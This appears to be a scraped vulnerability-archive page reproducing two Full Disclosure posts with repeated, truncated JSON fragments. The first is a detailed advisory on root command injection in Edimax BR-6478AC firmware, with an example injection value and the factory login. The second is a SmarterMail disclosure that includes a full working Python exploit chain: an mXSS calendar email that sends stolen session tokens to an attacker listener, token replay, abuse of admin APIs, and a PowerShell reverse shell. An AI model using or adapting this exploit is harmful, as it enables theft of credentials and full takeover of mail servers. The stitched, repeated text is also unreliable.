challenge for paths outside /mp.asp,\n/index.asp and /, at 0x4052d0, while /generate_204 answers 204, which is\ncaptive-portal behaviour. Three shipped artefacts identify that state as the\nsetup wizard rather than normal operation: formwizResetDefault at 0x44cdbc\nresets the device and displays Resettowizard, formWizSetup prints NO -\nLOGIN-WEB when the flag is set to 1, and pages such as web/inter_wan.asp:214\nand web/admin_timezone.asp:95 read the same flag to switch their interface.\nThat branch is structural inference only, read from the binary and never\nexercised, and the state ends when setup completes; an early pass of this\nresearch misread it as an unauthenticated post-setup state, and the correction\ndowngraded the finding to PR:H. If the window has to be contested rather than\nfound open, the reading is 8.1 High from Exploitability 2.221167 and Base\n8.094286.\n\nThe factory credential is a separate weakness and not the vector. The i"
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      "title": "[0day-rubbish] Edimax BR-6478AC firmware v2.20 authenticated command injection in the setWAN WAN-configuration handler, root command execution (7.2)",
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GCVE-1988-2026-0494

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
[0day-rubbish] Edimax BR-6478AC firmware v2.20 authenticated command injection in the formWlanMP manufacturing-test handler, root command execution (7.2)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in the Edimax BR-6478AC, firmware image BR6478AC_v2.20.bin, the dual-band AC1750 SOHO wireless router from Edimax Technology Co., Ltd. (Taiwan). A single authenticated POST to a manufacturing radio-calibration route that is still registered in production firmware reaches system() with thirty raw request fields interpolated into one command line, and the web server process that executes it runs as root. Type and root cause. CWE-78, OS command injection, in the formWlanMP handler of bin/webs, the embedded GoAhead-style HTTP server that serves the management interface on TCP port 80. The binary is ELF 32-bit big-endian MIPS, MIPS-I, uClibc, stripped, 762904 bytes, SHA256 ec39c0f9332361e37ab92f1999ac5f00f5742dd6db75f7cb26c0652cfedb32a1, from a SquashFS root filesystem of roughly 2.3 MB with an internal build timestamp from 2015. The registration websFormDefine("formWlanMP", ...) at 0x477a1c publishes POST /goform/formWlanMP, whose handler at 0x462a24 reads thirty radio automatic-test-equipment and EEPROM calibration fields through websGetVar at 0x412a7c, reached via the function-pointer table entry at 0x4c6b18: ateFunc, ateGain, ateTxCount, ateChan, ateRate, ateMacID, e2pTxPower1 through e2pTxPower7, e2pTx2Power1 through e2pTx2Power7, ateTxFreqOffset, ateMode, ateBW, ateAntenna, e2pTxFreqOffset, e2pTxPwDeltaB, e2pTxPwDeltaG, e2pTxPwDeltaMix, e2pTxPwDeltaN and readE2P, plus a submit-url field. Every one of them is formatted, raw, into a single command line by sprintf at 0x462fd0 using the format string at 0x4a0d98, /bin/rftest_old.sh %s %s ... (thirty %s conversions) and the result is handed to system(buf) at 0x46308c, whose PLT stub sits at 0x490020 with relocation 0x18b. Between websGetVar and system there is no validation of any kind: no atoi, no inet_aton, no strchr, no isdigit, no strcspn, no character filter, no length check beyond buffer capacity, no argument quoting and no switch to an argv-style exec. The only transformation on the path is cosmetic: an empty field is replaced with the literal word null so that argument positions stay aligned. That is filler, not a filter, and it removes no shell metacharacter. system() is not an exec of the named program; it is fork plus execl of /bin/sh with -c, so the entire shell grammar is available to the payload and no quoting exists to escape out of. Command substitution with $(...) is evaluated during expansion, before the simple command is looked up, which is the payload used here; backticks are equivalent; a semicolon terminates the current command; a pipe or an ampersand turns the line into a pipeline or a background job, with a trailing hash neutralising the rest of the format string; and an embedded newline is a command separator that websGetVar does not strip, because it removes only a trailing one. A field value of ateFunc=$(id > /tmp/marker) therefore runs id first. The shipped root filesystem contains rftest.sh but not rftest_old.sh, so the command word in the constructed line does not resolve and the shell exits 127. This looks like a mitigation and is not one: expansion precedes program lookup, so the injected command has already executed by the time the shell reports the missing script. The replication run reproduced exactly that exit status alongside a correctly written marker file. The practical consequence for anyone auditing this handler family is that no deny-list approach can succeed here, because the payload space is the whole shell grammar and the interpolation is unquoted; only removing the interpolation or removing the shell helps. Authentication and reach. The route requires a valid administrative session in normal operation. The gate auth_authorize at 0x404d00 reads configuration object 0x1bc, the setup-wizard flag, through apmib_get; once the device is past setup the security store at 0x4c7004, a single / entry of type Basic registered from the directive "Auth / /etc/boa/boa.passwd" by the Auth handler at 0x40814c, covers every /goform/ path with HTTP Basic authentication. The product has no second, lower-privileged role: one realm entry, one password file, one account, an Allow directive handler in this build that is a non-functional stub answering "This version of Boa doesn't support access controls", and a shipped configuration carrying one Auth directive and no Allow directive. Privileges Required is therefore High, not Low. /goform/formWlanMP is not one of the four routes carrying a post-boot uptime gate (/mp.asp, /goform/mp, /advanced_management.asp and /goform/formAdvManagement, which redirect to /index.asp once /proc/uptime exceeds 600 seconds), so unlike the neighbouring manufacturing route it is reachable at any time while the device is running. Execution identity. The calling process is webs and webs is root, because the shipped etc/boa/boa.conf declares User root, the same file whose AddType application/x-httpd-cgi asp entry binds .asp pages as CGI. The server is started by the boot path cleanlog.sh:131 invoked from init.sh:1115 during early init, writes /var/run/webs.pid, which on this root filesystem requires root to create, and performs no setuid, chroot, namespace or capability drop. The landing identity is uid=0(root) and no privilege escalation is involved: the executing process is already root. Scope of the pattern. This is one instance of a broad construction rather than an isolated slip. A count of the shipped registration table found 91 /goform/form* handlers, of which roughly 85 reach a system() or popen() call. Two further sinks were examined and are reported without a score: the uptime-gated manufacturing route /goform/mp, which is exploitable in principle but confined to a 600-second post-boot window and carries the same factory-test character, and the miniigd UPnP IGD daemon on UDP and TCP port 52869, whose SOAP surface has a command sink that is unauthenticated but LAN-only under the shipped firewall policy. Four candidates that yielded no established request-controlled path to command execution are named as excluded rather than dropped silently: formrefresh, formAutoFWupgrade, formPreventionSetup and wscd. Severity. The published score is 7.2 High, CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, from ISS = 1 - 0.44^3 = 0.914816, Impact at S:U = 6.42 x 0.914816 = 5.873119, Exploitability = 8.22 x 0.85 x 0.77 x 0.27 x 0.85 = 1.234708 and Base = Roundup(5.873119 + 1.234708) = Roundup(7.107826) = 7.2. The provenance of that number is disclosed because it is a correction: the research notes behind this work carried 8.8 written next to a PR:H vector, and 8.8 is the arithmetic of PR:L rather than of PR:H, so the figure was recomputed from the vector and published at 7.2, lowering the researchers' own number by 1.6 points. Four further readings are printed with their arithmetic. Privileges Required Low is rejected at 8.8 High, from Exploitability 2.835255 and Base Roundup(8.708373), because the product has no basic-user role for that metric to describe. Scope Changed is rejected at 9.1 High, from Impact at S:C = 6.128026, Exploitability 2.286496 and Base Roundup(1.08 x 8.414522), because webs is root before the attack and root after it and nothing is escaped. Attack Complexity High is rejected at 6.6 High, from Exploitability 0.705547 and Base Roundup(6.578666), because nothing about success depends on a condition outside the attacker's control: no race, no window, no memory layout, no gadget, no user-specific state. An adjacent-only reading is published as an alternative rather than rejected outright, at 6.8 High on AV:A from Exploitability 0.900610 and Base Roundup(6.773729), and it is the honest description of a stock device whose WAN-side input policy drops new connections: the shipped firewall script sets a default DROP input policy at firewall.sh:187, drops WAN-originated SYN at firewall.sh:180 and accepts input on other interfaces at firewall.sh:189. AV:N is retained because the service is bound to the device's own network stack and is addressable over IP by every host on the segment the router serves, including guest wireless clients and anything bridged or compromised behind it, and because two ordinary documented product features, remote management on the WAN side and forwarding port 80, move an attacker to the open internet. Default internet exposure is not claimed anywhere. Two readings at 9.8 Critical are published as explicitly labelled conditionals and are never the headline. The first applies where a deployment still accepts the factory credential shipped in the firmware, and it is reasoned rather than demonstrated: no physical device was authenticated against, so the path is an inference from the shipped password file plus the injection proven at the sink, and its Scope Changed variant, which computes to 10.0, is deliberately not published for the Scope reason above. The second applies to a device still in its pre-configuration setup state: when configuration object 0x1bc reads zero, auth_authorize returns success without issuing a challenge for any path outside /mp.asp, /index.asp and /, at 0x4052d0, while /generate_204 answers 204, which is captive-portal behaviour. Three shipped artefacts identify that state as the setup wizard rather than normal operation: formwizResetDefault at 0x44cdbc resets the device and displays Resettowizard, formWizSetup prints NO - LOGIN-WEB when the flag is set to 1, and management pages such as web/inter_wan.asp:214 and web/admin_timezone.asp:95 read the same flag to switch their interface. That branch is structural inference only, read from the binary and never exercised, and the state ends when setup completes; an early pass of this research misread it as an unauthenticated post-setup state, and the correction downgraded the finding to PR:H. If the window has to be contested rather than simply found open, the reading is 8.1 High from Exploitability 2.221167 and Base 8.094286. The factory credential is a separate weakness and not the vector. The image contains a populated /etc/boa/boa.passwd in a read-only SquashFS filesystem, referenced by the single Auth directive in etc/boa/boa.conf, and the model's published factory login is admin:1234. It is reported as CWE-798 in its own right, without a score, because scoring it inside this advisory would double-count it against the first conditional reading. Two limits are stated rather than smoothed over. First, no cryptographic match between the shipped digest and any specific password is claimed: the digest string captured during analysis was recorded incompletely, so no comparison was published, and the weakness rests on the artefact, a pre-populated shared credential store inside the firmware image, plus the widely published factory login. The digest algorithm is MD5-crypt. Second, the single account entry in the image examined is recorded under the name root while the model's published management login is admin; because no device was ever authenticated against, which user name the HTTP realm accepts was not established, and no specific username is asserted as verified. Nothing rated here turns on that detail. Absence of privilege separation is likewise reported separately as CWE-250: bin/webs serves untrusted HTTP input while running as root, which is what converts every injection in the handler population into full-device takeover. Verification method, and its boundary. This is the load-bearing limitation of the research and it is published prominently rather than buried. No physical device was powered on and no end-to-end HTTP request was ever accepted by the product. The HTTP leg, being request parsing, the authentication gate, form registration, handler dispatch and the complete absence of validation between source and sink, is evidenced at instruction level from the shipped binary, its configuration and its boot scripts, and was confirmed by two independent review passes: one re-deriving the sink from
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "BR-6478AC firmware",
          "vendor": "Edimax",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "disclosure via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "0day Rubbish Research Team is publicly disclosing a vulnerability in the\nEdimax BR-6478AC, firmware image BR6478AC_v2.20.bin, the dual-band AC1750 SOHO\nwireless router from Edimax Technology Co., Ltd. (Taiwan). A single\nauthenticated POST to a manufacturing radio-calibration route that is still\nregistered in production firmware reaches system() with thirty raw request\nfields interpolated into one command line, and the web server process that\nexecutes it runs as root.\n\nType and root cause. CWE-78, OS command injection, in the formWlanMP handler\nof bin/webs, the embedded GoAhead-style HTTP server that serves the management\ninterface on TCP port 80. The binary is ELF 32-bit big-endian MIPS, MIPS-I,\nuClibc, stripped, 762904 bytes, SHA256\nec39c0f9332361e37ab92f1999ac5f00f5742dd6db75f7cb26c0652cfedb32a1, from a\nSquashFS root filesystem of roughly 2.3 MB with an internal build timestamp\nfrom 2015. The registration websFormDefine(\"formWlanMP\", ...) at 0x477a1c\npublishes POST /goform/formWlanMP, whose handler at 0x462a24 reads thirty\nradio automatic-test-equipment and EEPROM calibration fields through\nwebsGetVar at 0x412a7c, reached via the function-pointer table entry at\n0x4c6b18: ateFunc, ateGain, ateTxCount, ateChan, ateRate, ateMacID,\ne2pTxPower1 through e2pTxPower7, e2pTx2Power1 through e2pTx2Power7,\nateTxFreqOffset, ateMode, ateBW, ateAntenna, e2pTxFreqOffset, e2pTxPwDeltaB,\ne2pTxPwDeltaG, e2pTxPwDeltaMix, e2pTxPwDeltaN and readE2P, plus a submit-url\nfield. Every one of them is formatted, raw, into a single command line by\nsprintf at 0x462fd0 using the format string at 0x4a0d98,\n\n/bin/rftest_old.sh %s %s ...    (thirty %s conversions)\n\nand the result is handed to system(buf) at 0x46308c, whose PLT stub sits at\n0x490020 with relocation 0x18b. Between websGetVar and system there is no\nvalidation of any kind: no atoi, no inet_aton, no strchr, no isdigit, no\nstrcspn, no character filter, no length check beyond buffer capacity, no\nargument quoting and no switch to an argv-style exec. The only transformation\non the path is cosmetic: an empty field is replaced with the literal word null\nso that argument positions stay aligned. That is filler, not a filter, and it\nremoves no shell metacharacter.\n\nsystem() is not an exec of the named program; it is fork plus execl of /bin/sh\nwith -c, so the entire shell grammar is available to the payload and no\nquoting exists to escape out of. Command substitution with $(...) is evaluated\nduring expansion, before the simple command is looked up, which is the payload\nused here; backticks are equivalent; a semicolon terminates the current\ncommand; a pipe or an ampersand turns the line into a pipeline or a background\njob, with a trailing hash neutralising the rest of the format string; and an\nembedded newline is a command separator that websGetVar does not strip,\nbecause it removes only a trailing one. A field value of ateFunc=$(id \u003e\n/tmp/marker) therefore runs id first.\n\nThe shipped root filesystem contains rftest.sh but not rftest_old.sh, so the\ncommand word in the constructed line does not resolve and the shell exits 127.\nThis looks like a mitigation and is not one: expansion precedes program\nlookup, so the injected command has already executed by the time the shell\nreports the missing script. The replication run reproduced exactly that exit\nstatus alongside a correctly written marker file. The practical consequence\nfor anyone auditing this handler family is that no deny-list approach can\nsucceed here, because the payload space is the whole shell grammar and the\ninterpolation is unquoted; only removing the interpolation or removing the\nshell helps.\n\nAuthentication and reach. The route requires a valid administrative session in\nnormal operation. The gate auth_authorize at 0x404d00 reads configuration\nobject 0x1bc, the setup-wizard flag, through apmib_get; once the device is\npast setup the security store at 0x4c7004, a single / entry of type Basic\nregistered from the directive \"Auth / /etc/boa/boa.passwd\" by the Auth handler\nat 0x40814c, covers every /goform/ path with HTTP Basic authentication. The\nproduct has no second, lower-privileged role: one realm entry, one password\nfile, one account, an Allow directive handler in this build that is a\nnon-functional stub answering \"This version of Boa doesn\u0027t support access\ncontrols\", and a shipped configuration carrying one Auth directive and no\nAllow directive. Privileges Required is therefore High, not Low.\n/goform/formWlanMP is not one of the four routes carrying a post-boot uptime\ngate (/mp.asp, /goform/mp, /advanced_management.asp and\n/goform/formAdvManagement, which redirect to /index.asp once /proc/uptime\nexceeds 600 seconds), so unlike the neighbouring manufacturing route it is\nreachable at any time while the device is running.\n\nExecution identity. The calling process is webs and webs is root, because the\nshipped etc/boa/boa.conf declares User root, the same file whose AddType\napplication/x-httpd-cgi asp entry binds .asp pages as CGI. The server is\nstarted by the boot path cleanlog.sh:131 invoked from init.sh:1115 during\nearly init, writes /var/run/webs.pid, which on this root filesystem requires\nroot to create, and performs no setuid, chroot, namespace or capability drop.\nThe landing identity is uid=0(root) and no privilege escalation is involved:\nthe executing process is already root.\n\nScope of the pattern. This is one instance of a broad construction rather than\nan isolated slip. A count of the shipped registration table found 91\n/goform/form* handlers, of which roughly 85 reach a system() or popen() call.\nTwo further sinks were examined and are reported without a score: the\nuptime-gated manufacturing route /goform/mp, which is exploitable in principle\nbut confined to a 600-second post-boot window and carries the same\nfactory-test character, and the miniigd UPnP IGD daemon on UDP and TCP port\n52869, whose SOAP surface has a command sink that is unauthenticated but\nLAN-only under the shipped firewall policy. Four candidates that yielded no\nestablished request-controlled path to command execution are named as excluded\nrather than dropped silently: formrefresh, formAutoFWupgrade,\nformPreventionSetup and wscd.\n\nSeverity. The published score is 7.2 High,\nCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, from ISS = 1 - 0.44^3 =\n0.914816, Impact at S:U = 6.42 x 0.914816 = 5.873119, Exploitability = 8.22 x\n0.85 x 0.77 x 0.27 x 0.85 = 1.234708 and Base = Roundup(5.873119 + 1.234708) =\nRoundup(7.107826) = 7.2. The provenance of that number is disclosed because it\nis a correction: the research notes behind this work carried 8.8 written next\nto a PR:H vector, and 8.8 is the arithmetic of PR:L rather than of PR:H, so\nthe figure was recomputed from the vector and published at 7.2, lowering the\nresearchers\u0027 own number by 1.6 points. Four further readings are printed with\ntheir arithmetic. Privileges Required Low is rejected at 8.8 High, from\nExploitability 2.835255 and Base Roundup(8.708373), because the product has no\nbasic-user role for that metric to describe. Scope Changed is rejected at 9.1\nHigh, from Impact at S:C = 6.128026, Exploitability 2.286496 and Base\nRoundup(1.08 x 8.414522), because webs is root before the attack and root\nafter it and nothing is escaped. Attack Complexity High is rejected at 6.6\nHigh, from Exploitability 0.705547 and Base Roundup(6.578666), because nothing\nabout success depends on a condition outside the attacker\u0027s control: no race,\nno window, no memory layout, no gadget, no user-specific state. An\nadjacent-only reading is published as an alternative rather than rejected\noutright, at 6.8 High on AV:A from Exploitability 0.900610 and Base\nRoundup(6.773729), and it is the honest description of a stock device whose\nWAN-side input policy drops new connections: the shipped firewall script sets\na default DROP input policy at firewall.sh:187, drops WAN-originated SYN at\nfirewall.sh:180 and accepts input on other interfaces at firewall.sh:189. AV:N\nis retained because the service is bound to the device\u0027s own network stack and\nis addressable over IP by every host on the segment the router serves,\nincluding guest wireless clients and anything bridged or compromised behind\nit, and because two ordinary documented product features, remote management on\nthe WAN side and forwarding port 80, move an attacker to the open internet.\nDefault internet exposure is not claimed anywhere.\n\nTwo readings at 9.8 Critical are published as explicitly labelled conditionals\nand are never the headline. The first applies where a deployment still accepts\nthe factory credential shipped in the firmware, and it is reasoned rather than\ndemonstrated: no physical device was authenticated against, so the path is an\ninference from the shipped password file plus the injection proven at the\nsink, and its Scope Changed variant, which computes to 10.0, is deliberately\nnot published for the Scope reason above. The second applies to a device still\nin its pre-configuration setup state: when configuration object 0x1bc reads\nzero, auth_authorize returns success without issuing a challenge for any path\noutside /mp.asp, /index.asp and /, at 0x4052d0, while /generate_204 answers\n204, which is captive-portal behaviour. Three shipped artefacts identify that\nstate as the setup wizard rather than normal operation: formwizResetDefault at\n0x44cdbc resets the device and displays Resettowizard, formWizSetup prints NO\n- LOGIN-WEB when the flag is set to 1, and management pages such as\nweb/inter_wan.asp:214 and web/admin_timezone.asp:95 read the same flag to\nswitch their interface. That branch is structural inference only, read from\nthe binary and never exercised, and the state ends when setup completes; an\nearly pass of this research misread it as an unauthenticated post-setup state,\nand the correction downgraded the finding to PR:H. If the window has to be\ncontested rather than simply found open, the reading is 8.1 High from\nExploitability 2.221167 and Base 8.094286.\n\nThe factory credential is a separate weakness and not the vector. The image\ncontains a populated /etc/boa/boa.passwd in a read-only SquashFS filesystem,\nreferenced by the single Auth directive in etc/boa/boa.conf, and the model\u0027s\npublished factory login is admin:1234. It is reported as CWE-798 in its own\nright, without a score, because scoring it inside this advisory would\ndouble-count it against the first conditional reading. Two limits are stated\nrather than smoothed over. First, no cryptographic match between the shipped\ndigest and any specific password is claimed: the digest string captured during\nanalysis was recorded incompletely, so no comparison was published, and the\nweakness rests on the artefact, a pre-populated shared credential store inside\nthe firmware image, plus the widely published factory login. The digest\nalgorithm is MD5-crypt. Second, the single account entry in the image examined\nis recorded under the name root while the model\u0027s published management login\nis admin; because no device was ever authenticated against, which user name\nthe HTTP realm accepts was not established, and no specific username is\nasserted as verified. Nothing rated here turns on that detail. Absence of\nprivilege separation is likewise reported separately as CWE-250: bin/webs\nserves untrusted HTTP input while running as root, which is what converts\nevery injection in the handler population into full-device takeover.\n\nVerification method, and its boundary. This is the load-bearing limitation of\nthe research and it is published prominently rather than buried. No physical\ndevice was powered on and no end-to-end HTTP request was ever accepted by the\nproduct. The HTTP leg, being request parsing, the authentication gate, form\nregistration, handler dispatch and the complete absence of validation between\nsource and sink, is evidenced at instruction level from the shipped binary,\nits configuration and its boot scripts, and was confirmed by two independent\nreview passes: one re-deriving the sink from"
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        "discovery": "EXTERNAL"
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      "title": "[0day-rubbish] Edimax BR-6478AC firmware v2.20 authenticated command injection in the formWlanMP manufacturing-test handler, root command execution (7.2)",
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GCVE-1988-2026-0493

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
SmarterMail <9777 Pre-Auth RCE (half click lol): CVE-2026-104082, CVE-2026-104083, CVE-2026-104084
Summary
original blog: https://blog.evan.lat/posts/sm/ SUMMARY: multiple vulns and misconfigurations in smartermail, notably a mxss and session persistence issues, alongside several logic bugs can be chained to achieve remote code execution as nt authority\system; https://nvd.nist.gov/vuln/detail/CVE-2026-104082 https://nvd.nist.gov/vuln/detail/CVE-2026-104083 https://nvd.nist.gov/vuln/detail/CVE-2026-104084 a mutated xss exists in smartermail. by sending a specific text/calendar (icalendar) mimetype with the x-alt-desc header set to a mutated xss payload: <math><mtext><mglyph><style><img src=x onerror="{js}"></style> the parser in the handrolled sanitizer of smartermail fails to properly sanitize this. the payload reforms after attempts at parsing it, allowing us to circumvent pre-auth with just one viewing of an email. notably, this can be done entirely without clicking as well (technically), since smartermail seems to open to latest email automatically ==================== a session logic vuln exists in smartermail. getting the refresh token of a domain admin before they are subsequently demoted does not actually invalidate any of the tokens privileges; meaning you can replay the token and continue retaining domain admin/sysadmin even after being demoted by simply posting the refresh token to /api/v1/auth/refresh-token and getting new accesstoken/refreshtoken pairs with the same roles ==================== a series of logic vulns exist in smartermail that can lead to rce as nt authority\system. typically, pre-9540 smartermail allowed sysadmins to easily rce the box. this was changed later on when they realzied it could be abused. nowadays, they make sure that the volume mounts feature actually requires a script path instead of a command you can just slap on the volume mount command. this means that tehcnically you need to upload a script to the box itself or fidn an AFW. fortunately there is no need, since the path validation doesnt really account for the fact that we can technically create a domain anywhere in the box. a domain contains attachments. since smartermail simply checks whether or not a file is within ApplicationDataScriptsPath (where the scripts will be); it doesnt actually check if it is within ApplicationDataScriptsPath/foo/bar/x.txt. this means that we can simply create a domain within ApplicationDataScriptsPath, clear all the attachment blacklists, create a user in that domain, impersonate the user, send an attachment of a batch script/powershell script to ourselves so it lands on the attachments folder of the domain (which is in ApplicationDataScriptsPath), reference the script and get rce anyway all xps pertaining to this can be found here: https://github.com/eev4n/smartermail all in one: import argparse import base64 import json import requests import smtplib import threading import time from flask import Flask, request pw = 'Foobar1234!' fakedom = 'beamed.com' def pargs(): p = argparse.ArgumentParser() p.add_argument('url', help='base url') p.add_argument('--to', required=True, help='targ') p.add_argument('--port', default='9000', help='flask') p.add_argument('--lhost', required=True, help='nc ip') p.add_argument('--lport', default='1234', help='nc port') return p.parse_args() args = pargs() base = args.url.rstrip('/') listen = f'http://{args.lhost}:{args.port}' app = Flask(__name__) def sendm(to, eml): print("PLACEHOLDER PLACEHOLDER") host = args.url.split('//')[1].split('/')[0] for i in range(12): try: s = smtplib.SMTP(host, 25, timeout=15) s.ehlo() s.docmd('MAIL FROM:<important () john com>') s.docmd('RCPT TO:<' + to + '>') s.docmd('DATA') s.send(eml.encode()) result = s.docmd('.') s.quit() if result[0] < 300: print('+ sent payload') return True print('- smtp: ' + str(result)) except Exception as e: print('- smtp: ' + str(e)) time.sleep(5) return False js = f"""(function(){{var t=localStorage.getItem('userTokens');var i=new Image();i.src='{listen}/?t='+encodeURIComponent(btoa(t));}})()""" payload = f'<math><mtext><mglyph><style><img src=x onerror="{js}"></style>' def invite(to): return ( 'From: j () j com\r\n' 'To: ' + to + '\r\n' 'Subject: yo heres the invite\r\n' 'Content-Type: multipart/mixed; boundary="cal"\r\n' '\r\n' '--cal\r\n' 'Content-Type: text/plain\r\n' '\r\n' 'you have been invited to the next hangout g congrats\r\n' '--cal\r\n' 'Content-Type: text/calendar; method=REQUEST\r\n' '\r\n' 'BEGIN:VCALENDAR\r\n' 'VERSION:2.0\r\n' 'PRODID:-//Test//EN\r\n' 'BEGIN:VEVENT\r\n' 'UID:' + str(int(time.time())) + '@test.local\r\n' 'DTSTAMP:20260925T120000Z\r\n' 'DTSTART:20260925T130000Z\r\n' 'DTEND:20260925T140000Z\r\n' 'SUMMARY:Meeting\r\n' 'X-ALT-DESC;FMTTYPE=text/html:<html><body>' + payload + '</body></html>\r\n' 'END:VEVENT\r\n' 'END:VCALENDAR\r\n' '--cal--\r\n' ) def picknchoose(tokens): for email in tokens: refresh = tokens[email].get('refreshToken') if not refresh: continue r = requests.post(base + '/api/v1/auth/refresh-token', json={'token': refresh}, timeout=30) if r.status_code != 200: print(f'refresh fail wtf') continue access = r.json()['accessToken'] open('refresh.txt', 'a').write(email + ' ' + r.json()['refreshToken']) part = access.split('.')[1] part += '=' * (-len(part) % 4) claims = json.loads(base64.urlsafe_b64decode(part)) if 'SysAdmin' in claims.get('role', []): print(f'+ got sysadmin shit aint sweet no mo') return access print(f'- {email}: not sysadmin') return None def beam(at): def apibase(path, data): return requests.post(base + path, json=data, headers={'Authorization': 'Bearer ' + at}, timeout=60) # get the orig path first r = apibase('/api/v1/settings/sysadmin/AddOrUpdateMount', { 'Enabled': True, 'MountPath': 'C:/tmp', 'CommandMount': 'zz', 'CommandUnmount': '', 'ReadOnly': False, 'UseArgumentsInCommand': False }) if 'not found' not in r.text: print('! cant find assets dir') return assets = r.text.split("Script file '")[1].split('zz')[0] print(f'+ got assets {assets}') r = apibase('/api/v1/settings/sysadmin/global-mail', { 'globalMailSettings': { 'fileTypeRestriction': { 'blackList': [], 'blockFilesWithNoExtension': False } } }) if r.status_code != 200: print('! cant clear bl') return print('+ bl cleared') r = apibase('/api/v1/settings/sysadmin/domain-put', { 'domainData': { 'name': fakedom, 'hostname': 'mail.' + fakedom, 'path': assets + 'x', 'isEnabled': True, 'isSplitDomain': False }, 'adminUsername': 'lol', 'adminPassword': pw }) if r.status_code == 200: print('+ new dom') else: print(f'- cant make new domain') email = f'lol@{fakedom}' r = apibase('/api/v1/settings/sysadmin/post-user', { 'email': email, 'userData': { 'maxMailboxSize': 0 }, 'allowMail': True }) if r.status_code == 200: print('+ quota unlimited') else: print(f'- quota: {r.status_code}') r = requests.post(base + '/api/v1/auth/authenticate-user', json={ 'Username': email, 'Password': pw, 'clientId': 'lol' }, timeout=30) if r.status_code != 200: print('! login fail ' + r.text[:200]) return user_token = r.json()['accessToken'] print('+ logged in no bizzy BAP ') ps1 = f"""$c=New-Object System.Net.Sockets.TCPClient('{args.lhost}',{args.lport}); $s=$c.GetStream();[byte[]]$b=0..65535|%{{0}}; while(($i=$s.Read($b,0,$b.Length))-ne 0){{ $d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i); $r=(('Invoke'+'-Expression') $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> '; $e=([text.encoding]::ASCII).GetBytes($r2); $s.Write($e,0,$e.Length);$s.Flush()}}; $c.Close() """ ps1p = assets + 'x/Users/lol/FileStore/Root Folder/fun.ps1' bat = (f'@echo off\r\n' f'powershell -ExecutionPolicy Bypass -WindowStyle Hidden -File "{ps1p}"\r\n') def upload(filename, content): size = str(len(content)) form = { 'context': 'file-storage', 'contextData': '{"folder":""}', 'resumableChunkNumber': '1', 'resumableTotalChunks': '1', 'resumableChunkSize': size, 'resumableCurrentChunkSize': size, 'resumableTotalSize': size, 'resumableIdentifier': filename.upper().replace('.', '-') + '-' + size, 'resumableFilename': filename, 'resumableRelativePath': filename, 'resumableType': '', } # technically not needed but sometimes it fails for i in range(15): r = requests.post(base + '/api/upload', headers={'Authorization': 'Bearer ' + user_token}, data=form, files={'file': (filename, content.encode())}, timeout=30) if r.status_code == 200: return True if 'MAX_SIZE_EXCEEDED' in r.text: time.sleep(3) continue print(f'! upload: {r.text[:100]}') return False print('! upload is fucked wtf did you do') return False if not upload('fun.ps1', ps1): return if not upload('g.bat', bat): return print('+ uploaded pl') r = apibase('/api/v1/settings/sysadmin/AddOrUpdateMount', { 'Enabled': True, 'MountPath': 'C:/tmp', 'CommandMount': 'x/Users/lol/FileStore/Root Folder/g.bat', 'CommandUnmount': '', 'ReadOnly': False, 'UseArgumentsInCommand': False }) if 'not found' in r.text: print('???: ' + r.text[:300]) else: print(f'+ shell') @app.route('/') def catch(): raw = request.args.get('t', '') stolen = base64.b64decode(raw).decode('utf-8', 'replace') print('+ got tokens') tokens = json.loads(stolen) atk = picknchoose(tokens) if atk is None: print('! no sysadmin token') return b'' beam(atk) return b'' threading.Thread(target=lambda: app.run(host='0.0.0.0', port=int(args.port)), daemon=True).start() print(f'+ WE UP @ {args.port}') if not sendm(args.to, invite(args.to)): print("! cant send mail") exit(1) print('waiting') while True: time.sleep(60) _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Relationships
reference GCVE-1988-2026-0493 (this record)

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SmarterMail \u003c9777 Pre-Auth",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "evan via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "original blog: https://blog.evan.lat/posts/sm/\n\nSUMMARY: multiple vulns and misconfigurations in smartermail, notably\na mxss and session persistence issues, alongside several logic bugs\ncan be chained to achieve remote code execution as nt\nauthority\\system;\nhttps://nvd.nist.gov/vuln/detail/CVE-2026-104082\nhttps://nvd.nist.gov/vuln/detail/CVE-2026-104083\nhttps://nvd.nist.gov/vuln/detail/CVE-2026-104084\n\na mutated xss exists in smartermail. by sending a specific\ntext/calendar (icalendar) mimetype with the x-alt-desc header set to a\nmutated xss payload:\n\u003cmath\u003e\u003cmtext\u003e\u003cmglyph\u003e\u003cstyle\u003e\u003cimg src=x onerror=\"{js}\"\u003e\u003c/style\u003e\n\nthe parser in the handrolled sanitizer of smartermail fails to\nproperly sanitize this. the payload reforms after attempts at parsing\nit, allowing us to circumvent pre-auth with just one viewing of an\nemail. notably, this can be done entirely without clicking as well\n(technically), since smartermail seems to open to latest email\nautomatically\n\n\n====================\n\na session logic vuln exists in smartermail. getting the refresh token\nof a domain admin before they are subsequently demoted does not\nactually invalidate any of the tokens privileges; meaning you can\nreplay the token and continue retaining domain admin/sysadmin even\nafter being demoted by simply posting the refresh token to\n/api/v1/auth/refresh-token and getting new accesstoken/refreshtoken\npairs with the same roles\n\n====================\n\na series of logic vulns exist in smartermail that can lead to rce as\nnt authority\\system. typically, pre-9540 